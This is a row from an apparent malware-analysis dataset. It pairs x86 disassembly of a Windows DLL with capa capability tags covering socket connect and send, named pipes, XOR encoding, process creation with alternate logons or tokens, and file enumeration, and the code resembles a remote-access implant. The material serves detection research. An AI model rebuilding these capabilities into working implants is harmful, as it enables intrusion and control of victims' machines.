joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100028d4
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x804
mov eax, dword [0x10030010]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x7ff
lea eax, [ebp - 0x803]
push 0
push eax
mov byte [ebp - 0x804], 0
call fcn.1001bf50
add esp, 0xc
lea eax, [ebp - 0x804]
push eax
push 0x800
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
test eax, eax
jbe 0x1000292c
push 0x13
push eax
lea eax, [ebp - 0x804]
push eax
call fcn.1000133b
add esp, 0xc
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10014062
leave
ret

Function at 0x10002958
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x10030010]
xor eax, ebp
mov dword [ebp - 8], eax
push esi
push 0
push 1
push 2
call sub.WS2_32.dll_socket
mov esi, eax
cmp esi, 0xffffffff
jne 0x10002980
or eax, 0xffffffff
jmp 0x100029cd
push edi
call sub.WS2_32.dll_gethostbyname
test eax, eax
je 0x1000297b
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
push ecx
push dword [eax]
lea eax, [ebp - 0x14]
push eax
call fcn.1001ad70
add esp, 0xc
push 2
pop eax
push dword [ebp + 8]
mov word [ebp - 0x18], ax
call sub.WS2_32.dll_htons
mov word [ebp - 0x16], ax
push 0x10
lea eax, [ebp - 0x18]
push eax
push esi
call sub.WS2_32.dll_connect
test eax, eax
je 0x100029cb
push esi
call sub.WS2_32.dll_closesocket
jmp 0x1000297b
mov eax, esi
mov ecx, dword [ebp - 8]
xor ecx, ebp
pop esi
call fcn.10014062
leave
ret

Function at 0x100029da
Capabilities:
Check for time delay via gettickcount
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
or dword [ebp - 0x18], 0xffffffff
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
push esi
push edi
call ebx
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
mov edi, eax
add edi, 0xea60
lea eax, [ebp - 0x28]
mov dword [ebp - 0xc], edi
call fcn.10006ce4
push eax
call fcn.10006df7
pop ecx
lea esi, [ebp - 0x28]
mov dword [ebp - 8], eax
call fcn.10006cf0
mov dword [ebp - 4], eax
mov eax, esi
call fcn.10006d65
mov dword [ebp - 0x14], eax
mov eax, esi
call fcn.100016c7
mov dword [ebp - 0x10], eax
call fcn.100020f4
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
cmp eax, edi
jae 0x10002a75
push dword [ebp - 4]
mov edi, dword [ebp - 8]
call fcn.10002958
mov edi, eax
pop ecx
cmp edi, 0xffffffff
jne 0x10002a65
push 0x3e8
call esi
call ebx
cmp eax, dword [ebp - 0xc]
jb 0x10002a42
jmp 0x10002a78
push 0
push dword [ebp - 0x10]
push dword [ebp - 0x14]
push edi
call sub.WS2_32.dll_send
jmp 0x10002a80
mov edi, dword [ebp - 0x18]
push 0x46
call fcn.100019e6
pop ecx
push 0x3e8
call esi
push edi
call sub.WS2_32.dll_closesocket
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10002a92
Capabilities:
Check for time delay via gettickcount
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xac
mov eax, dword [0x10030010]
xor eax, ebp
mov dword [ebp - 4], eax
and dword [ebp - 0x94], 0
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
mov esi, eax
lea eax, [ebp - 0xac]
add esi, 0xea60
call fcn.10006ce4
push 0x80
push eax
lea ebx, [ebp - 0x88]
call fcn.10006db7
pop ecx
pop ecx
lea eax, [ebp - 0xac]
call fcn.10006d65
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0xac]
call fcn.100016c7
mov dword [ebp - 0x90], eax
xor ebx, ebx
lea eax, [ebp - 0x88]
push eax
lea ecx, [ebp - 0x8c]
call fcn.10005f24
pop ecx
test eax, eax
jne 0x10002b67
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x35
je 0x10002b40
call edi
cmp eax, esi
jae 0x10002b40
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 0xa
jb 0x10002b07
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x88]
push eax
push 0x32
call fcn.100019b6
add esp, 0xc
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10014062
leave
ret
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [ebp - 0x98]
push eax
push 4
lea eax, [ebp - 0x90]
push eax
push dword [ebp - 0x8c]
call edi
cmp dword [ebp - 0x90], 0
jbe 0x10002bdc
mov ebx, 0x2000
mov eax, dword [ebp - 0x90]
mov esi, dword [ebp - 0x94]
sub eax, esi
cmp eax, ebx
jbe 0x10002ba9
mov eax, ebx
push 0
lea ecx, [ebp - 0x98]
push ecx
push eax
mov eax, dword [ebp - 0x9c]
add eax, esi
push eax
push dword [ebp - 0x8c]
call edi
test eax, eax
je 0x10002bdc
add esi, dword [ebp - 0x98]
mov dword [ebp - 0x94], esi
cmp esi, dword [ebp - 0x90]
jb 0x10002b95
push dword [ebp - 0x8c]
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push dword [ebp - 0x8c]
call dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
push dword [ebp - 0x8c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10002b58
Function at 0x10002fe8
Capabilities:
Create pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [0x10030010]
xor eax, ebp
mov dword [ebp - 8], eax
cmp esi, 0x100
mov eax, dword [ebp + 8]
push ebx
jge 0x10003068
push esi
push eax
lea eax, [ebp - 0x10c]
push eax
call fcn.1001ad70
or dword [0x10032074], 0xffffffff
or dword [0x10032024], 0xffffffff
or dword [0x100321a4], 0xffffffff
add esp, 0xc
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
push 2
push 4
push 3
lea eax, [ebp - 0x10c]
push eax
mov byte [ebp + esi - 0x10c], bl
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov dword [0x10032024], eax
cmp eax, ebx
je 0x10003068
push ebx
push 0x10002e50
call fcn.1000a099
pop ecx
pop ecx
mov dword [0x100321a4], eax
mov ecx, dword [ebp - 8]
xor ecx, ebp
pop ebx
call fcn.10014062
leave
ret

Function at 0x10003335
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
lea ebx, [edi + 4]
push esi
mov esi, eax
mov dword [ebp - 4], esi
mov dword [ebp - 8], ebx
cmp ebx, dword [ebp + 0xc]
jbe 0x10003350
xor eax, eax
jmp 0x10003388
call fcn.1000221b
mov dword [esi], eax
add esi, 4
xor ecx, ecx
test edi, edi
jbe 0x10003386
mov eax, dword [ebp + 8]
sub eax, esi
mov dword [ebp + 0xc], eax
mov ebx, dword [ebp - 4]
mov edx, ecx
and edx, 3
mov dl, byte [edx + ebx]
mov ebx, dword [ebp + 0xc]
lea eax, [ecx + esi]
xor dl, byte [ebx + eax]
inc ecx
mov byte [eax], dl
cmp ecx, edi
jb 0x10003368
mov ebx, dword [ebp - 8]
mov eax, ebx
pop esi
pop ebx
leave
ret

Function at 0x1000338c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, eax
lea eax, [edi - 4]
mov esi, ecx
cmp eax, dword [ebp + 0xc]
jbe 0x100033a1
xor eax, eax
jmp 0x100033cc
mov eax, esi
add esi, 4
sub edi, 4
push 0
pop edx
je 0x100033ca
sub esi, dword [ebp + 8]
push ebx
mov ecx, dword [ebp + 8]
mov ebx, edx
and ebx, 3
mov bl, byte [ebx + eax]
add ecx, edx
xor bl, byte [esi + ecx]
inc edx
mov byte [ecx], bl
cmp edx, edi
jb 0x100033b2
pop ebx
mov eax, edi
pop edi
pop esi
pop ebp
ret
Function at 0x10003550
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [0x10030010]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push edi
push dword [esi + 0xc]
push dword [esi + 8]
push ecx
push 0
push dword [esi + 0x10]
push eax
push 0
push 2
push dword [0x10036830]
push dword [0x10036828]
push dword [0x1003682c]
call dword [sym.imp.ADVAPI32.dll_CreateProcessWithLogonW]
test eax, eax
je 0x1000359d
xor eax, eax
inc eax
jmp 0x10003662
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 3
jne 0x1000364d
mov edi, dword [esi]
mov eax, edi
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x100035b3
sub eax, ecx
mov ebx, 0x100
cmp eax, ebx
jae 0x1000364d
push str.sysnative
push edi
call fcn.10014220
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x1000364d
push ebx
lea eax, [ebp - 0x10c]
push 0
push eax
call fcn.1001bf50
mov eax, dword [str.system32]
mov dword [edi], eax
mov eax, dword [0x1002c5cc]
mov dword [edi + 4], eax
add esp, 0xc
add edi, 9
mov eax, edi
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10003605
sub eax, ecx
push eax
lea eax, [ebp - 0x10c]
push edi
push eax
call fcn.1001ad70
lea eax, [ebp - 0x10c]
add esp, 0xc
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10003628
sub eax, ecx
inc eax
push eax
lea eax, [ebp - 0x10c]
push eax
dec edi
push edi
call fcn.1001ad70
add esp, 0xc
push esi
call fcn.10003670
pop ecx
jmp 0x10003662
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push dword [esi]
push 0x45
call fcn.100019b6
add esp, 0xc
xor eax, eax
mov ecx, dword [ebp - 8]
pop edi
xor ecx, ebp
pop ebx
call fcn.10014062
leave
ret
Function at 0x10003670
Capabilities:
Create process on windows
Create process suspended
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x110c
call fcn.1001bd70
mov eax, dword [0x10030010]
xor eax, esp
mov dword [esp + 0x1108], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
xor eax, eax
mov edi, 0x7fe
push edi
mov word [esp + 0x114], ax
xor ebx, ebx
lea eax, [esp + 0x116]
push ebx
push eax
call fcn.1001bf50
add esp, 0xc
xor eax, eax
push edi
mov word [esp + 0x914], ax
lea eax, [esp + 0x916]
push ebx
push eax
call fcn.1001bf50
mov eax, dword [esi + 8]
add esp, 0xc
mov dword [eax + 8], ebx
mov edi, 0x400
push edi
lea eax, [esp + 0x114]
push eax
push dword [esi]
mov dword [esp + 0x18], ebx
call fcn.10002400
add esp, 0xc
test eax, eax
jne 0x1000370a
push dword [esi + 4]
push 7
call fcn.10001988
pop ecx
pop ecx
jmp 0x10003874
push ebx
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
call ebx
cmp eax, edi
jae 0x1000372e
lea eax, [esp + 0x910]
push eax
push edi
call ebx
lea eax, [esp + 0x910]
mov dword [esp + 0xc], eax
push dword [esi + 0xc]
lea eax, [esp + 0x114]
push dword [esi + 8]
push dword [esp + 0x14]
push 0
push dword [esi + 0x10]
push eax
push 0
push 2
push dword [0x10036824]
call dword [sym.imp.ADVAPI32.dll_CreateProcessWithTokenW]
test eax, eax
je 0x10003761
xor eax, eax
inc eax
jmp 0x10003876
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
call edi
mov ebx, dword [sym.imp.ADVAPI32.dll_CreateProcessWithLogonW]
cmp eax, 0x522
jne 0x1000379a
test ebx, ebx
je 0x1000379a
cmp dword [0x10036838], 1
jne 0x1000379a
mov ecx, dword [esp + 0xc]
lea eax, [esp + 0x110]
push eax
call fcn.10003550
pop ecx
jmp 0x10003876
call edi
cmp eax, 0x57
jne 0x100037b9
mov eax, dword [esi + 8]
cmp dword [eax], 0x48
jne 0x100037b9
test ebx, ebx
je 0x100037b9
call edi
push eax
push dword [esi]
push 0x4a
jmp 0x1000386c
call edi
cmp eax, 3
jne 0x10003865
mov edx, dword [esi]
mov eax, edx
lea ecx, [eax + 1]
mov bl, byte [eax]
inc eax
test bl, bl
jne 0x100037cb
sub eax, ecx
mov ebx, 0x100
cmp eax, ebx
jae 0x10003865
push str.sysnative
push edx
call fcn.10014220
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x1000385f
push ebx
lea eax, [esp + 0x14]
push 0
push eax
call fcn.1001bf50
mov eax, dword [str.system32]
mov dword [edi], eax
mov eax, dword [0x1002c5cc]
mov dword [edi + 4], eax
add esp, 0xc
add edi, 9
mov eax, edi
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1000381b
sub eax, ecx
push eax
lea eax, [esp + 0x14]
push edi
push eax
call fcn.1001ad70
lea eax, [esp + 0x1c]
add esp, 0xc
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1000383a
sub eax, ecx
inc eax
push eax
lea eax, [esp + 0x14]
push eax
dec edi
push edi
call fcn.1001ad70
add esp, 0xc
push esi
call fcn.10003670
jmp 0x10003794
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
call edi
push eax
push dword [esi]
push 0x29
call fcn.100019b6
add esp, 0xc
xor eax, eax
mov ecx, dword [esp + 0x1114]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10014062
mov esp, ebp
pop ebp
ret
Function at 0x1000388b
Capabilities:
Create process on windows

Disassembly:
push ecx
mov eax, dword [0x10036824]
push ebx
push edi
xor edi, edi
cmp eax, edi
je 0x100038ee
cmp dword [esi + 0x14], edi
jne 0x100038ee
push dword [esi + 0xc]
push dword [esi + 8]
push edi
push edi
push dword [esi + 0x10]
push 1
push edi
push edi
push dword [esi]
push edi
push eax
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
test eax, eax
jne 0x10003917
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
cmp eax, 0x522
jne 0x100038db
cmp dword [sym.imp.ADVAPI32.dll_CreateProcessWithTokenW], edi
je 0x100038db
push esi
call fcn.10003670
pop ecx
jmp 0x1000391a
call ebx
push eax
push dword [esi]
push 0x29
call fcn.100019b6
add esp, 0xc
xor eax, eax
jmp 0x1000391a
push dword [esi + 0xc]
push dword [esi + 8]
push edi
push edi
push dword [esi + 0x10]
push 1
push edi
push edi
push dword [esi]
push edi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x10003917
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push dword [esi]
push 0x30
jmp 0x100038e2
xor eax, eax
inc eax
pop edi
pop ebx
pop ecx
ret

Function at 0x1000391e
Capabilities:
Resume thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
mov esi, dword [ebp + 8]
test byte [esi + 0x10], 4
push edi
jne 0x1000397e
mov ebx, dword [esi]
lea edi, [ebp - 0xc]
call fcn.10001241
test eax, eax
je 0x1000397e
mov eax, dword [ebp - 0xc]
or dword [esi + 0x10], 4
mov dword [esi], eax
call fcn.1000388b
mov ebx, eax
mov eax, edi
mov edi, esi
mov esi, dword [edi + 0xc]
push eax
call fcn.100033d0
test eax, eax
mov eax, dword [edi + 0xc]
pop ecx
jne 0x10003971
push 0
push dword [eax]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
xor eax, eax
jmp 0x10003983
push dword [eax + 4]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, ebx
jmp 0x10003983
call fcn.1000388b
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10003988
Capabilities:
Create a process with modified i/o handles and window
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
push ebx
push esi
push edi
push 0xa000
xor ebx, ebx
call fcn.10006c7d
mov edx, eax
pop ecx
mov esi, 0x4000
mov dword [ebp - 0x1c], edx
call fcn.10006d4a
mov esi, 0x400
mov dword [ebp - 8], eax
call fcn.10006d4a
mov dword [ebp - 0x10], eax
call fcn.10006d4a
mov dword [ebp - 0x14], eax
call fcn.10006d4a
mov dword [ebp - 0xc], eax
call fcn.10006d4a
push 0x44
pop edi
push edi
mov dword [ebp - 4], eax
lea eax, [ebp - 0x68]
push ebx
push eax
call fcn.1001bf50
mov dword [ebp - 0x68], edi
mov edi, dword [ebp + 0x1c]
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0xc
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
push 0x4000
push dword [ebp - 8]
xor eax, eax
push dword [ebp + 0x14]
mov dword [ebp - 0x3c], 0x101
mov word [ebp - 0x38], ax
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x60], ebx
call fcn.10002400
add esp, 0xc
push esi
push dword [ebp - 0x14]
push dword [ebp + 0xc]
call fcn.10002400
add esp, 0xc
push esi
push dword [ebp - 0xc]
push dword [ebp + 0x10]
call fcn.10002400
add esp, 0xc
push esi
push dword [ebp - 0x10]
push dword [ebp + 8]
call fcn.10002400
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
add esp, 0xc
push ebx
push ebx
call edi
cmp eax, esi
jae 0x10003a6e
push dword [ebp - 4]
push esi
call edi
mov eax, dword [ebp - 4]
jmp 0x10003a70
mov eax, ebx
push dword [ebp + 0x1c]
lea ecx, [ebp - 0x68]
push ecx
push eax
mov eax, dword [ebp + 0x18]
push ebx
or eax, 0x8000400
push eax
push dword [ebp - 8]
push ebx
push 1
push dword [ebp - 0xc]
push dword [ebp - 0x10]
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_CreateProcessWithLogonW]
test eax, eax
je 0x10003aa0
xor ebx, ebx
inc ebx
jmp 0x10003abf
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp + 0x14]
push str._s_as__s_s:__d
push 0x35
call fcn.100019fb
add esp, 0x18
mov esi, dword [ebp - 0x1c]
call fcn.10006cbd
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret

Function at 0x10003c55
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
xor edi, edi
mov esi, eax
cmp dword [0x10035fc0], edi
jne 0x10003c77
push 0x80004
call fcn.1001414e
pop ecx
mov dword [0x10035fc0], eax
push dword [esi]
call sub.WS2_32.dll_htonl
mov ecx, dword [0x10035fc0]
mov dword [ecx], eax
mov ebx, dword [esi + 4]
cmp ebx, dword [ebp + 8]
jbe 0x10003cb6
mov ebx, dword [ebp + 8]
jmp 0x10003cb6
push dword [esi + 8]
mov eax, dword [0x10035fc0]
push ebx
lea eax, [eax + edi + 4]
push 1
push eax
call fcn.10015553
add esp, 0x10
test eax, eax
je 0x10003cbc
add edi, eax
sub ebx, eax
sub dword [esi + 4], eax
test ebx, ebx
ja 0x10003c93
jmp 0x10003cc0
and dword [esi + 4], 0
push 8
add edi, 4
push edi
push dword [0x10035fc0]
call fcn.1000133b
add esp, 0xc
call fcn.10003cde
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x10003da1
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push esi
lea eax, [ebp - 0x20]
call fcn.10006ce4
lea eax, [ebp - 0x10]
push 0x80
push eax
call fcn.100015eb
lea esi, [ebp - 0x20]
call fcn.10006cf0
push eax
lea esi, [ebp - 0x10]
call fcn.1000161e
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
push eax
push 0x1002c5e8
call fcn.10001671
pop ecx
pop ecx
push 0x16
mov eax, esi
call fcn.100016c7
push eax
mov eax, esi
call fcn.100016c4
push eax
call fcn.1000133b
add esp, 0xc
mov eax, esi
call fcn.100016ab
pop esi
leave
ret

Function at 0x10003e09
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
and al, 0x10
xor ecx, ecx
cmp al, 0x10
sete cl
mov eax, ecx
pop ebp
ret

Function at 0x10003ed3
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
push 0x4000
call fcn.10006c7d
mov edi, eax
pop ecx
mov esi, 0x2000
mov edx, edi
call fcn.10006d4a
mov ebx, eax
mov dword [ebp - 8], ebx
call fcn.10006d4a
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x18]
call fcn.10006ce4
push esi
push eax
call fcn.10006db7
mov ebx, dword [ebp - 4]
lea eax, [ebp - 0x18]
push esi
push eax
call fcn.10006db7
add esp, 0x10
push 0
push ebx
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x10003f47
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0xd
call fcn.10001988
pop ecx
pop ecx
mov esi, edi
call fcn.10006cbd
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10003f53
Capabilities:
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
push 0x4000
call fcn.10006c7d
mov edi, eax
pop ecx
mov esi, 0x2000
mov edx, edi
call fcn.10006d4a
mov ebx, eax
mov dword [ebp - 8], ebx
call fcn.10006d4a
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x18]
call fcn.10006ce4
push esi
push eax
call fcn.10006db7
mov ebx, dword [ebp - 4]
lea eax, [ebp - 0x18]
push esi
push eax
call fcn.10006db7
add esp, 0x10
push ebx
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
jne 0x10003fc5
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0xe
call fcn.10001988
pop ecx
pop ecx
mov esi, edi
call fcn.10006cbd
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10003fd1
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x17c
mov eax, dword [0x10030010]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, 0x4000
push edi
call fcn.1001414e
pop ecx
push edi
mov ebx, eax
push 0
push ebx
call fcn.1001bf50
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
add esp, 0xc
lea eax, [ebp - 0x158]
call fcn.10006ce4
mov esi, eax
call fcn.10006cf0
mov esi, eax
lea eax, [ebp - 0x158]
push edi
push eax
call fcn.10006db7
lea eax, [ebp - 0x158]
push 0x200000
push eax
call fcn.100015eb
push esi
lea esi, [ebp - 0x158]
call fcn.1000161e
add esp, 0x14
push edi
push 0x1002c5f4
push ebx
call fcn.1001567f
add esp, 0xc
test eax, eax
jne 0x10004074
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push 2
push 0x1002c5f8
push edi
push ebx
call fcn.10014aa7
add esp, 0x10
push ebx
push 0x1002c550
lea esi, [ebp - 0x158]
call fcn.10001671
pop ecx
pop ecx
lea eax, [ebp - 0x148]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x100040d4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push ebx
push 0x34
call fcn.100019b6
add esp, 0xc
push 0x16
mov eax, esi
call fcn.100016c7
push eax
mov eax, esi
call fcn.100016c4
push eax
call fcn.1000133b
add esp, 0xc
push ebx
call fcn.10014071
pop ecx
jmp 0x100041eb
push ebx
call fcn.10014071
pop ecx
lea eax, [ebp - 0x178]
push eax
lea eax, [ebp - 0x134]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
lea eax, [ebp - 0x168]
push eax
lea eax, [ebp - 0x178]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
test byte [ebp - 0x148], 0x10
lea esi, [ebp - 0x158]
je 0x1000415a
lea eax, [ebp - 0x11c]
push eax
movzx eax, word [ebp - 0x15c]
push eax
movzx eax, word [ebp - 0x15e]
push eax
movzx eax, word [ebp - 0x160]
push eax
movzx eax, word [ebp - 0x168]
push eax
movzx eax, word [ebp - 0x162]
push eax
movzx eax, word [ebp - 0x166]
push eax
push str.D_t0_t_02d__02d__02d__02d:_02d:_02d_t_s_n
call fcn.10001671
add esp, 0x20
jmp 0x100041ac
mov ecx, dword [ebp - 0x12c]
lea edx, [ebp - 0x11c]
push edx
movzx edx, word [ebp - 0x15c]
push edx
movzx edx, word [ebp - 0x15e]
mov eax, dword [ebp - 0x128]
push edx
movzx edx, word [ebp - 0x160]
push edx
movzx edx, word [ebp - 0x168]
push edx
movzx edx, word [ebp - 0x162]
push edx
movzx edx, word [ebp - 0x166]
push edx
push ecx
push eax
push str.F_t_I64d_t_02d__02d__02d__02d:_02d:_02d_t_s_n
call fcn.10001671
add esp, 0x28
lea eax, [ebp - 0x148]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x100040db
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0x16
lea eax, [ebp - 0x158]
call fcn.100016c7
push eax
lea eax, [ebp - 0x158]
call fcn.100016c4
push eax
call fcn.1000133b
add esp, 0xc
lea eax, [ebp - 0x158]
call fcn.100016ab
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10014062
leave
ret